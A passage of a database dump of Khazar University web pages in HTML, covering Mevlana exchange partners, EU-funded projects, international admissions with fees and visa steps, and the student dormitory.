href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Uludagh_Khazar.pdf\" target=\"_blank\"><strong>Exchange Plan</strong></a>  <br><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@uludag.edu.tr\">mevlana@uludag.edu.tr</a></strong><br></strong><strong><br></strong></td><td width=\"213\"><strong>14. Giresun University,</strong>&nbsp;<strong>Giresun.<br><strong><a href=\"http://www.giresun.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Giresun%20-%20Khazar.pdf\">Exchange Plan</a></strong>&nbsp;  <br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@giresun.edu.tr\">mevlana@giresun.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>15. Sakarya University,</strong>&nbsp;<strong>Sakarya.<br><strong><a href=\"http://www.sakarya.edu.tr/\">Official Page</a></strong><br><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Sakarya%20-%20Khazar.pdf\" target=\"_blank\"><strong>Exchange Plan</strong></a>&nbsp;  <br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@sakarya.edu.tr\">mevlana@sakarya.edu.tr</a></strong><br></strong></td></tr><tr><td width=\"213\"><strong>16. İnönü University,&nbsp;</strong>&nbsp;<strong>Malatya.<br><strong><a href=\"http://www.inonu.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Inonu-%20Khazar.pdf\">Exchange Plan</a></strong>&nbsp;  <br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@inonu.edu.tr\">mevlana@inonu.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>17. Kafkas University,&nbsp;Kars.<br></strong><strong><a href=\"http://www.kafkas.edu.tr/\">Official Page</a></strong><br><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Kafkas%20-Khazar.pdf\" target=\"_blank\"><strong>Exchange Plan</strong></a>  &nbsp;<br><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@kafkas.edu.tr\">mevlana@kafkas.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>18. Yıldız Technical University,&nbsp;Istanbul<br></strong><strong><a href=\"http://www.yildiz.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Yildiz%20Teknik%20University.pdf\">Exchange Plan</a></strong>  &nbsp;<br><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@yildiz.edu.tr\">mevlana@yildiz.edu.tr</a></strong></strong><strong><br></strong></td></tr><tr><td width=\"213\"><strong>19. Fırat University</strong>,&nbsp;<strong>Elazığ</strong><strong>.<br><strong><a href=\"http://www.firat.edu.tr/\">Official Page</a></strong><br><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/F%C4%B1rat%20Universiteti.pdf\" target=\"_blank\"><strong>Exchange Plan</strong></a>&nbsp;  <br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@firat.edu.tr\">mevlana@firat.edu.tr</a></strong><br></strong><ul></ul></td><td width=\"213\"><strong>20. Aksaray University</strong>,&nbsp;<strong>Aksaray</strong>.<br><strong><a href=\"http://www.aksaray.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Aksaray%20Universiteti.pdf\">Exchange Plan</a><br></strong> <strong>E-mail:&nbsp;<a href=\"mailto:mevlana@aksaray.edu.tr\">mevlana@aksaray.edu.tr</a></strong></td><td width=\"213\"><strong>21.&nbsp;Uşak University</strong>,&nbsp;<strong>Uşak</strong>.<br><strong><a href=\"http://www.usak.edu.tr/\">Official Page</a></strong><br><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/U%C5%9Fak%20Universiteti.pdf\" target=\"_blank\"><strong>Exchange Plan</strong></a>  <br><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@usak.edu.tr\">mevlana@usak.edu.tr</a></strong><br></strong><ul></ul></td></tr><tr><td width=\"213\"><strong>22. Muş Alparslan University</strong>,&nbsp;<strong>Muş.<br><strong><a href=\"http://www.alparslan.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Mu%C5%9F%20Alparslan%20Universiteti.pdf\">Exchange Plan</a></strong>&nbsp;  <br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@alparslan.edu.tr\">mevlana@alparslan.edu.tr</a></strong><br></strong><ul></ul></td><td width=\"213\"><strong>23. Kahramanmaraş Sütçü İmam University,&nbsp;Kahramanmaraş<br><strong><a href=\"http://www.ksu.edu.tr/\">Official Page</a></strong><br><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Kahramanmara%C5%9F%20S%C3%BCt%C3%A7%C3%BC%20%C4%B0mam%20Universiteti.pdf\" target=\"_blank\"><strong>Exchange Plan</strong></a><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@ksu.edu.tr\">mevlana@ksu.edu.tr</a></strong></td><td width=\"213\"><strong>24. Bozok Universiteti</strong>,&nbsp;<strong>Yozgat</strong><strong>.<br><strong><a href=\"http://www.bozok.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Bozok_Universiteti.pdf\">Exchange Plan</a></strong>&nbsp;  <br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@bozok.edu.tr\">mevlana@bozok.edu.tr</a></strong></td></tr><tr><td><strong>25.&nbsp;</strong><strong>Selcuk University,&nbsp;Konya.<br><strong><a href=\"http://www.selcuk.edu.tr/\">Official Page</a><br></strong><strong><a href=\"http://www.khazar.org/files/social/1/Sel%C3%A7uk%20Universiteti.PDF\">Exchange Plan</a></strong>&nbsp;  <br><strong>E-mail:&nbsp;</strong><strong><a href=\"mailto:mevlanadp@selcuk.edu.tr\"><strong>mevlanadp@selcuk.edu.tr</strong></a>\r\n</strong><br></strong>  </td><td><strong>26.&nbsp;</strong><strong>Çankırı Karatekin University<br><strong><strong><a href=\"https://www.karatekin.edu.tr/\">Official Page</a></strong></strong>&nbsp;<br> <a href=\"http://www.khazar.org/files/letters/Cankiri_Karatekin_Universiteti.pdf\">Exchange Plan</a> <br> <strong>Email:&nbsp;</strong><a href=\"mailto:mevlana@karatekin.edu.tr\">mevlana@karatekin.edu.tr</a>  <br></strong></td><td><strong>27. Iğdır University<br><strong><strong><strong><a href=\"http://www.igdir.edu.tr/\">Official Page</a></strong></strong>&nbsp;<br>Exchange Plan&nbsp;<br><strong>Email:&nbsp;<a href=\"mailto:mevlana@igdir.edu.tr\">mevlana@igdir.edu.tr</a></strong></strong><br></strong>  </td></tr><tr><td><strong>28. Manisa Celal Bayar University  <br><strong><strong><strong><a href=\"http://www.mcbu.edu.tr/\">Official Page</a></strong></strong>&nbsp;<br><a href=\"http://www.khazar.org/files/letters/Manisa_Celal_Bayar%20Universiteti.pdf\">Exchange Plan</a>&nbsp;<br><strong>Email:&nbsp;<a href=\"mailto:mevlana@cbu.edu.tr\">mevlana@cbu.edu.tr</a>  <a href=\"mailto:mevlana@igdir.edu.tr\"></a></strong></strong></strong>  </td><td>&nbsp;</td><td>&nbsp;</td></tr></tbody></table> <p><br></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunay Farzaliyeva</strong>, <strong>Mevlana Program Coordinator</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:mevlana@khazar.org\"><strong>mevlana@khazar.org</strong></a><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>(+994 12) 421 79 16 (240)</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">International\r\nAffairs Office</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Khazar\r\nUniversity Neftchilar Campus</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">41 Mehseti\r\nStreet Baku, AZ1096, Azerbaijan</p></div>'),(2971,1761,'az','“Xaricdə Təhsil üzrə Dövlət Proqramı”nın məzunları ilə görüş keçirildi','2016-cı il dekabrın 17-də ADA Universitetində “2007-2015-ci illərdə Azərbaycan Gənclərinin Xaricdə Təhsili üzrə Dövlət Proqramı” məzunlarının akademik fəaliyyətə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il dekabrın 17-də ADA Universitetində\r\n“2007-2015-ci illərdə Azərbaycan Gənclərinin Xaricdə Təhsili üzrə Dövlət\r\nProqramı” məzunlarının akademik fəaliyyətə cəlb\r\nolunması ilə bağlı forum keçirildi. Tədbirdə Təhsil naziri Mikayıl Cabbarov, Dövlət Neft\r\nFondunun icraçı direktoru Şahmar Mövsümov, AMEA-nın prezidenti Akif Əlizadə,\r\nADA Universitetinin rektoru Hafiz Paşayev, eləcə də, digər ali təhsil müəssisələrinin\r\nrəhbərləri, xaricdə təhsil almış magistr və doktorant məzunlar iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetinin Siyasi elm və beynəlxalq münasibətlər kafedrasının müdiri, fəlsəfə\r\ndoktoru Muxtar Hacızadə də Dövlət Proqramının məzunu kimi çıxış etdi. O, öz çıxışında hazırkı çətinliklər\r\nfonunda Azərbaycan iqtisadiyyatı üçün tədbirin\r\nönəmini xüsusi qeyd etmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha geniş məlumatı bu link vasitəsilə əldə etmək\r\nolar:&nbsp;  </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://edu.gov.az/az/page/9/13402\">http://edu.gov.az/az/page/9/13402</a>.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://news.lent.az/news/262937\">http://news.lent.az/news/262937</a>.  <br></p>  <!-- ELRTE_SCRIPT:script6300054326199653 -->'),(1257,796,'en',' EUROEAST',' EUROEAST','<p><br></p><p><strong><strong>Start Date:</strong>&nbsp;    September, 2012  <br></strong></p><p><strong><strong>Duration:</strong>&nbsp;    48 months  </strong></p><p>The partnership has been carefully selected in order to ensure both a fair geographical balance and Academic excellence proven by the position covered in national and international&nbsp;ranking by the represented Universities. It is spread and diversified: the eight European Partners, four comprehensive universities and four technical ones, assure a full coverage of all fields of studies; the ENPI East Universities are twelve in order to cover all six countries included in the Lot (one is from Armenia, two are from Azerbaijan, Georgia, Belarus and Ukraine, three are from Moldova). In composing the partnership, special attention has been paid to covering of strategic disciplines such as Engineering, Agriculture, Geography, Geology, Law, Natural and Social Sciences.</p><p>The planned number of mobility flows (258), by far larger than the minimum number required for this Lot (150), has been defined taking into account every partner’s needs in terms of academic level, duration and range of academic disciplines, in order to make the impact on beneficiaries and their institutions significant and worthwhile.</p><p>The Partnership decided to focus the motilities mainly on Target Group 1, representing 89% of the total mobility flows, in order to foster and improve the current relations among the Partner Universities especially in the field of student mobility and joint research projects. The remaining part of the available grants (11%) is planned for Target Group 2, with the goal of providing cooperation opportunities with the Associate Partner Universities and other institutions not included in the partnership, as well as educational opportunities to individuals not belonging to the Partner Universities. A significant number of Staff motilities (18%) has been planned with the goal of strengthening the institutional relations among the Partnership members through Academic and Administrative staff exchanges.</p><p><strong><strong>Brief information and main objectives:</strong>&nbsp;<br></strong></p><p>The&nbsp;<strong>EUROEAST</strong>&nbsp;project is fully in line with the objectives and priorities underlined in the ENPI Eastern Regional Programme Strategy Paper and in the ENPI East Countries Action Plans. In terms of specific goals of the Higher Education sector, the project aims at building and strengthening links and co-operation in “people-to-people” contacts in education and research in order to provide academics, decision-makers and other professionals in ENPI East and EU with opportunities generated by the development of a sustainable network of European and ENPI East HEIs and the resulting teaching and research programmes in areas that influence development policies.</p><p>In detail the Partnership aims at pursuing the following results in line with the Erasmus Mundus goals:</p><ul><li>Fostering the institutional cooperation and mutual recognition and enrichment among European and ENPI East HEIs through a transfer of know-how and good practices and increasing, at the same time, the cooperation and good neighbourly relations among the ENPI East partners;</li><li>Supporting ENPI East HEIs to enhance internationalization, through the harmonization of the ENPI East HE systems with international standards;</li><li>Building the management capacities of ENPI East HEIs reducing, for e.g. unnecessary regulations and bureaucratic procedures related to international collaboration and supporting the establishment of more robust arrangements for institutional and programme quality assurance</li></ul><p>Widening through the international mobility, the educational and scientific horizons of academic and administrative staff, bringing benefits to the future relationships between EU and ENPI East countries.</p><p><strong><strong>Coordinator and partners:</strong>&nbsp;<br></strong></p><p><strong>Coordinator:</strong></p><p><a href=\"http://www.polito.it/\">POLITO – Politecnico di Torino</a></p><p><strong>Joint Coordinator:</strong></p><p><a href=\"http://www.inter.kpi.ua/\">NTUU “KPI” - KYIV Polytechnic Institute</a></p><p><strong>Partners:</strong></p><p><a href=\"http://www.aalto.fi/en/\" target=\"_blank\">AALTO - Aalto University</a></p><p><a href=\"http://www.amu.edu.pl/\" target=\"_blank\">AMU - Adam Mickiewicz University</a></p><p><a href=\"http://www.fu-berlin.de/en\" target=\"_blank\">FUB - Freie Universität Berlin</a></p><p><a href=\"http://www.ist.utl.pt/\" target=\"_blank\">IST - Instituto Superior Tecnico</a></p><p><a href=\"http://www.ugent.be/\" target=\"_blank\">UGENT - Universiteit Gent</a></p><p><a href=\"http://www.univ-montp2.fr/\" target=\"_blank\">UM2 - University of Montpellier 2</a></p><p><a href=\"http://www.upv.es/\" target=\"_blank\">UPV - Universidad Politecnica de Valencia</a></p><p><a href=\"http://www.gsu.am/\" target=\"_blank\">GSU - Gavar State University</a></p><p><a href=\"http://bsu.edu.az/\" target=\"_blank\">BSU - Baku State University</a></p><p><a href=\"http://www.khazar.org/v1017/\" target=\"_blank\">Khazar University</a></p><p><a href=\"http://www.iliauni.edu.ge/\" target=\"_blank\">ISU - Ilia State University</a></p><p><a href=\"http://bsu.edu.ge/\" target=\"_blank\">RSU - Shota Rustaveli State University</a></p><p><a href=\"http://www.brsu.by/\" target=\"_blank\">BRSU - Brest State University</a></p><p><a href=\"http://www.grsu.by/\" target=\"_blank\">YKSUG - Grodno State University Yanka Kupala</a></p><p><a href=\"http://www.uasm.md/en\" target=\"_blank\">SAUM - State Agrarian University of Moldova</a></p><p><a href=\"http://www.usb.md/\" target=\"_blank\">USB - Alecu Russo Balti State University</a></p><p><a href=\"http://www.utm.md/\" target=\"_blank\">TUM - Technical University of Moldova</a></p><p><a href=\"http://www.chnu.cv.ua/\" target=\"_blank\">CHNU - Yuriy Fedkovych Chernivtsi National University</a></p><p><br></p><p><strong><strong>Contact:</strong>&nbsp;</strong></p><p><strong><strong>Turan Jafarova:&nbsp;</strong><a href=\"mailto: tjafarova@khazar.org\">tjafarova@khazar.org</a>&nbsp;</strong></p><p><strong><strong>Useful links:</strong>&nbsp;<br></strong></p><p><strong><a href=\"http://www.euroeast.polito.it/\" target=\"_blank\">http://www.euroeast.polito.it/</a>&nbsp;</strong></p>'),(750,527,'en','ERASMUS MUNDUS','ERASMUS MUNDUS','<p><strong>Erasmus Mundus Projects</strong>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/en/menus/764/webb\"></a><a href=\"http://www.khazar.org/en/menus/764/webb\"><strong></strong></a><strong><a href=\"http://www.khazar.org/en/menus/764/webb\">WEBB</a></strong>  </strong></p><p><strong><strong></strong><strong><a href=\"http://www.khazar.org/en/menus/762/_euroeast\">EUROEAST</a><strong></strong></strong></strong></p><p><strong><strong><strong></strong></strong><strong><a href=\"http://www.khazar.org/en/menus/761/_electra\">ELECTRA</a></strong></strong></p><p><strong><strong></strong><strong><a href=\"http://www.khazar.org/en/menus/760/ember\">EMBER</a></strong></strong></p><p><strong><strong><strong><a href=\"http://www.khazar.org/files/pdf/Other%20Erasmus%20Projects%20(1).docx\"></a></strong></strong><strong><strong><a href=\"http://www.khazar.org/en/menus/763/previous_projects\">Previous projects</a></strong></strong></strong></p>'),(751,527,'az','ERASMUS MUNDUS','ERASMUS MUNDUS','<p><strong>Erasmus Mundus Layihələri</strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/764/webb\">WEBB</a></strong></p><p><strong><strong><a href=\"http://www.khazar.org/en/menus/762/_euroeast\">EUROEAST</a></strong><strong></strong></strong></p><p><strong><strong><a href=\"http://www.khazar.org/en/menus/761/_electra\">ELECTRA&nbsp;</a></strong><strong><strong></strong></strong></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/760/ember\">EMBER</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/763/previous_projects\">Həyata keçirilmiş layihələr</a></strong></p>'),(752,528,'az','TEMPUS','TEMPUS','<p><strong><br></strong></p><p><strong>TEMPUS&nbsp;Layihələri</strong>&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/902/the_establishment_of_a_foundation_for_the_integration_of_disabled_people_into_heis_of_azerbaijan\">The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</a></p><p><a href=\"http://www.khazar.org/en/menus/902/the_establishment_of_a_foundation_for_the_integration_of_disabled_people_into_heis_of_azerbaijan\"></a><a href=\"http://www.khazar.org/en/menus/903/_project_actors_capacity_training_in_caucasus\">Project Actors Capacity Training in Caucasus</a></p><p><a href=\"http://www.khazar.org/en/menus/903/_project_actors_capacity_training_in_caucasus\"></a><a href=\"http://www.khazar.org/en/menus/904/strengthening_the_specific_role_of_universities_as_lll_institutions\">Strengthening the Specific Role of Universities as LLL Institutions&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/904/strengthening_the_specific_role_of_universities_as_lll_institutions\"></a><a href=\"http://www.khazar.org/en/menus/905/curriculum_development_and_capacity_building_in_the_field_of_eu_studies\">Curriculum Development and Capacity Building in the field of EU studies</a></p><p><a href=\"http://www.khazar.org/en/menus/905/curriculum_development_and_capacity_building_in_the_field_of_eu_studies\"></a><a href=\"http://www.khazar.org/en/menus/906/_migration_and_higher_education_developing_skills_and_capacity\">Migration and Higher Education: Developing Skills and Capacity&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/906/_migration_and_higher_education_developing_skills_and_capacity\"></a><a href=\"http://www.khazar.org/en/menus/907/development_of_training_network_for_improving_education_in_energy_efficiency\">Development of Training Network for Improving Education in Energy Efficiency</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/908/student_support_and_development_services\">Student Support and Development Services</a></p><p><a href=\"http://www.khazar.org/en/menus/908/student_support_and_development_services\"></a><a href=\"http://www.khazar.org/en/menus/909/documentation_for_quality_assurance_of_study_programmes\">Documentation for Quality Assurance of Study Programmes</a></p>'),(1275,812,'en','Development of Training Network for Improving Education in Energy Efficiency','Development of Training Network for Improving Education in Energy Efficiency','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Development of Training Network for Improving Education in Energy Efficiency</strong></p><table style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>October 2012</td></tr><tr><td><strong>Duration:</strong></td><td>36 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td><p>This proposal aims to prioritize: modernization of curricula with 3 cycle structure, ETCS and degree recognition in the Teacher training and education science in Physical science (BY), engineering and engineering trades (Belarus, Azerbaijan, Kosovo). The project involves higher education institutions from Latvia, Estonia, Lithuania, Poland and Belgium as well as from such partner countries: Belarus, Kosovo and Azerbaijan. Development of the curricular reform in Engineering and Engineering trades are highlighted as a priority in all partner countries.&nbsp;&nbsp;</p><p>The wider objective is to enhance networking among higher education institutions across the partner countries and EU member states for improving the education in the field of the energy efficiency enhancement , energy saving and use of renewable sources of energy.</p><p>The project aims such specific objectives:</p><ol><li>To enhance the quality and relevance of higher education in the partner countries by bringing together education excellence and best practice in the field of the energy efficiency enhancement, energy saving and use of renewable sources of energy field (declared field) on the base of creation/ modernization of study programs ;</li><li>To&nbsp; make compatible/unified curricula for improving the education and expertise of target groups (students/ master students/ and academic/teacher staff ) in the declared field;</li><li>To confirm teaching/learning approaches (lectures, practice classes, didactic materials etc) and tools (equipment, hardware/software, user, methodological guides, manuals etc.) for improving the target groups education and expertise</li><li>To create electronic libraries by directions(enhancement of energy efficiency, energy saving, energy effective materials, use of renewable sources).</li></ol>Realization of the project &nbsp;&nbsp;will allow creating Joint Educational Platform as a system of developed/improved compatible education tools and didactic materials needed to transfer experience of EU Universities to Partner Countries\' Universities.</td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>Coordinator and partners:</strong></p></td><td><p><strong>Coordinator:</strong></p><p><a href=\"http://www.rtu.lv/\">Riga Technical University</a></p><p><strong>Partners:</strong></p><p><a href=\"http://www.ttu.ee/en\">Tallinn University of Technology</a></p><p><a href=\"http://www.vu.lt/en\">Vilnius University</a></p><p><a href=\"http://www.pollub.pl/\">Lublin University of Technology</a></p><p><a href=\"http://www.tu.koszalin.pl/\">Politechnika Koszalinska</a></p><p><a href=\"http://www.khbo.be/\">Katholieke Hogeschool Brugge-Oostende</a></p><p><a href=\"http://www.ugal.ro/\">“Dunarea de Jos” University of Galati</a></p><p>University Mitrovica</p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University</a></p><p>National Aviation Academy of Azerbaijan</p><p><a href=\"http://www.bsu.by/\">Belarusian State University</a></p><p><a href=\"http://www.bntu.by/\">Belarusian National Technical University</a></p><p><a href=\"http://www.batu.edu.by/\">Belarusian State Agrarian Technical University</a></p><p><a href=\"http://www.khazar.org/s1022/\">Khazar University</a></p><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><p>Prof. Hasan Niknafs, Dean of the School of Engineering and Applied Sciences</p><p><a href=\"mailto:sazakov@khazar.org\">hniknafs@khazar.org</a>&nbsp;</p><p>+994 012 421 79 16 ext. 251</p></td></tr></tbody></table>  <br></div>'),(1273,811,'az',' Migration and Higher Education: Developing Skills and Capacity',' Migration and Higher Education: Developing Skills and Capacity','<div><br></div><div><br></div>'),(754,529,'en','International Admissions','International Admissions','<p><strong>Welcome to Khazar University and the International Affairs Office!</strong></p><div><strong><a href=\"/files/students/kohne%20bina.jpg\"><img src=\"/files/students/kohne%20bina.jpg\" style=\"width:150px;height:105px;float:left;margin:7px\"></a></strong><strong>&nbsp; &nbsp;<a href=\"http://www.khazar.org/files/alov.jpg\"><img src=\"http://www.khazar.org/files/alov.jpg\" style=\"border:0px #000000;width:150px;height:105px;margin:7px;float:left\"></a>&nbsp; &nbsp; &nbsp;<a href=\"http://www.khazar.org/files/qala.JPG\"><img src=\"http://www.khazar.org/files/qala.JPG\" style=\"border:0px #000000;width:150px;height:105px;margin:7px;float:left\"></a></strong></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><p>The<strong>&nbsp;International Affairs Office&nbsp;</strong>is the first and the main point of contact for prospective international students.&nbsp; The International Affairs Office serves all incoming and currently enrolled international students at the university.</p><p><strong>For information about the services we provide click here:&nbsp;<a href=\"http://www.khazar.org/en/menus/505/contact_us\">International Affairs Office</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/505/contact_us\"></a></strong>Khazar University&nbsp;is a private educational institution for undergraduate, graduate and professional studies promoting advanced study and&nbsp;research, educational policy and development in the Republic of Azerbaijan.</p><p><strong></strong>Khazar University is the first university in Azerbaijan composed of multiple independent schools united by the same academic policy and principles, which offer a wide scope of diverse majors in Humanities and Social Sciences, Engineering and Applied Sciences, Economics, Management and Business Administration, and Education.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/pdf/Khazar_University_Brochure.pdf\" target=\"_blank\">Khazar University Brochure</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/15/catalogue\">Khazar University&nbsp;&nbsp;Catalogue</a></strong></p><p><strong>Download application forms:&nbsp;</strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/letters/Bachelor_Application_for_Admission%202018.docx\">Bachelor &nbsp;Application for Admission&nbsp;2018</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/letters/Master_Application_for_Admission%202018.docx\">Master &nbsp;Application for Admission&nbsp;2018</a></strong></p><p><a href=\"http://www.khazar.org/files/pdf/cources/PhD_Application_for_Admission%202017.docx\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/letters/PhD_Application_for_Admission%202018.docx\">PhD &nbsp;Application for Admission&nbsp;2018</a></strong></p><p><strong><br></strong></p><p><strong>Important Information to Consider Before and After Arrival&nbsp;</strong></p><p><strong>Before Arrival:</strong></p><p><strong>Tuition Fee</strong></p><p>The annual tuition fee is 5000 USD.&nbsp;</p><p><strong>Cost of Living</strong></p><p>The average cost of living in Baku could range from 550 to 800 AZN per month. This includes: accommodation (250 AZN/shared – 500 AZN/not shared), groceries (150 AZN), utilities (50 AZN), and other expenses (100 AZN: transportation, social activities, etc.)</p><p><strong>Obtaining a Visa</strong></p><p>To travel to Azerbaijan you will need to receive a visa from the Azerbaijan Embassy or Consulate in your country.</p><p>Khazar University will send the Invitation Letter to successful applicants which they will take to the Embassy to apply for visa to Azerbaijan.</p><p>It is mandatory for all students coming to&nbsp;Azerbaijan for a period longer than three months to obtain a student visa in the country of residence before travelling to Azerbaijan.</p><p>Please check with the Azerbaijan Embassy for a full list of required documents.</p><p><strong>Khazar University International Scholarship Program</strong></p><p>Khazar University provides a scholarship for international students. Follow this&nbsp;<a href=\"http://www.khazar.org/en/menus/497/khazar_university_international_scholarship_program_sup_style_color_red_new_sup_\" target=\"_blank\">link</a>&nbsp;to find out more.&nbsp;</p><p><strong>After Arrival</strong></p><p><strong>Residence Permit (Migration Card)</strong></p><p>Foreign students should obtain a student visa valid for 3 (three) months before their arrival. A month before the expiration of your visa you will apply for a residence permit which will enable you to live in the country for a year. The International Affairs Office will assist you in receiving the residence permit (“migration card”).</p><p>For more information regarding the documents for obtaining the migration card see the link:&nbsp;<a href=\"http://migration.gov.az/index.php?section=012&amp;subsection=065&amp;lang=en&amp;pageid=411\">Migration Service</a>&nbsp;</p><p><strong>Note about IB Admission Policy</strong></p><p>Students with IB diplomas (<a href=\"http://www.ibo.org/\">http://www.ibo.org/</a>) are welcome to apply to Khazar. Students who are still completing their final year of the IB program may apply, and will be considered for admission if they have predicted scores of 28 or higher.&nbsp;</p><p><strong>IB Diploma Scholarship</strong></p><p>Khazar University recognizes that students who have earned the IB diploma are ideally prepared for university studies. Applicants to all Khazar University undergraduate programs who have successfully completed the IB diploma with a score of 28 or higher are given a&nbsp;scholarship covering their full tuition&nbsp;for one semester&nbsp;during their studies at Khazar University.&nbsp;Applicants&nbsp;with scores of 36-40 are given a&nbsp;scholarship covering their full tuition for one year&nbsp;(two semesters). Applicants with scores of 41 or higher are given a&nbsp;full scholarship covering their tuition during their whole bachelor degree&nbsp;program.&nbsp;</p><p><strong>Further Information</strong></p><p>If you have further questions regarding the admission contact the International Affairs Office – we will be happy to assist you.</p><p>Best wishes as you plan your travel to Azerbaijan.</p><p><strong>We are looking forward to welcoming you at our university!&nbsp;</strong></p>  <br></div>'),(3035,1795,'en','Dormitory','Dormitory','<h2><strong></strong></h2><p style=\"text-align:justify\">The brand new student dormitory of Khazar University offers simple and cozy furnished accommodation without meals to both local and international students.&nbsp;</p><h3><br></h3><h3>Location:</h3> <p style=\"text-align:justify\">Conveniently located close to both the main Neftchiler Campus of Khazar University (3 min walking distance) and the Neftchiler metro station (10 min walking distance), the dormitory offers a wide range of services.</p><h3><iframe width=\"600\" height=\"450\" frameborder=\"0\" style=\"border:0\" src=\"https://www.google.com/maps/embed/v1/place?key=AIzaSyD_gltx6VnkiMgmxdooZ0CcqyUejCpzIaw&q=Khazar+University, Dormitory\">\r\n</iframe></h3><h3><br></h3><h3>Amenities and Services:&nbsp;</h3><ul><li>Rooms: shared (minimum occupancy: 2 people; maximum occupancy: 4 people).</li><li>Each room is equipped with a bed, a bedside drawer, wardrobe, and a table.</li><li>Toilets and showers: shared, outside of the rooms</li><li>Kitchen: a shared kitchen/buffet area with cooking and storage (refrigerator) facilities</li><li>Laundry facilities with washing machines (with dryers), irons, etc.</li><li>Socializing lounge room: an area with computers, TV, sofas welcomes your&nbsp;guests or visitors.</li><li>Internet: Wi-Fi connection covers all dormitory area</li><li>Storage area</li><li>Quietly located study room</li></ul><br><br><h3>Dormitory Safety:&nbsp;<br></h3><p>The dormitory is equipped with security cameras and other technology to ensure safety of our students&nbsp;and guests.</p><p>The building is under constant (24/7) video surveillance and has security personnel.</p><h3><br></h3><h3>Pricing:</h3><p>Monthly rates per person are:</p><p>International students: <strong>$90 – $140</strong>, Local students:&nbsp;<strong>120-170 AZN</strong></p><p><strong><br></strong></p><p><strong>Our friendly and ready-to-help dormitory team/staff is at your service.&nbsp;</strong><br></p><p><br></p><h3>Contact:</h3><p><em><strong>Office</strong></em>:&nbsp; &nbsp;(+994&nbsp;12) 422 28 17&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;(+994&nbsp;12) 422 28 06</p><p><strong><em>Mobile</em></strong>: (+994&nbsp;55) 223 47 37</p><p><strong><em>E-mail:</em>&nbsp;</strong><a href=\"http://mailto:dormitory@khazar.org/\">dormitory@khazar.org</a>  <br></p>'),(3036,1795,'az','Yataqxana','Yataqxana','<p 